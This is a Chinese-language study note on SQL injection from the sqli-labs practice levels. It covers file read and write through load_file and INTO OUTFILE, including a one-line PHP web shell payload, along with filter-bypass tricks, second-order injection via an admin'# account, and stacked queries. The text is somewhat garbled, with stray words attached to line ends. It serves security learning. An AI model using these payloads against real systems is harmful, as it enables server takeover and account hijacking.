补充的一些知识点php
Less-7解锁的文件读写注入。
主要用到的函数和语句sql
load_file(fileName)
:读取服务器上指定路径的文件,须要有读取权限,文件路径能够转为16进制LOAD DATA INFILE
:load data infile '/tmp/1.txt' ignore into table test character set gbk fields terminated by 't' lines terminated by 'n'将1.txt 导入到test表中,character set gbk
字符编码为gbk,fields terminated by '\t'
字段以\t
结尾,每行以\n
结尾SELECT ... INTO OUTFILE 'file_name'
:把数据写到文件里,好比插入一句话木马Select <?php @eval($_post[“mima”])?> into outfile "c:\xxx\test.php" 绕过addslashes()
:这个函数的功能是对一些符号进行转义,好比单引号双引号,能够经过编码绕过和宽字节绕过数据库
过滤关键字,好比select union or and 等等
绕过思路:改变大小写 SeLecT uNiON,or、and改成||、&&;编码绕过16进制 url;添加注释/*or*/
Less-24接触到二次注入,先提交一个构造的数据让服务器接收,再经过第二次操做触发注入。例:先注册一个admin'#的帐号,而后登录该帐号修改密码,这时候修改的就是admin的密码。sql语句:updata users set password="new_password" where username='admin'#' and .....服务器
堆叠注入
简单的说就是多条sql语句注入,例子:...?id=1';select 1,2,3;
注意:oracle数据库不支持oracle
后面的order by注入语法也差很少,主要就是各类防护方式的组合了,用到的手段其实都是最开始那几关提到的。SQL注入原理就大概了解到这里。下一篇用sqlmap来实战,熟悉sqlmap使用以及巩固注入原理。函数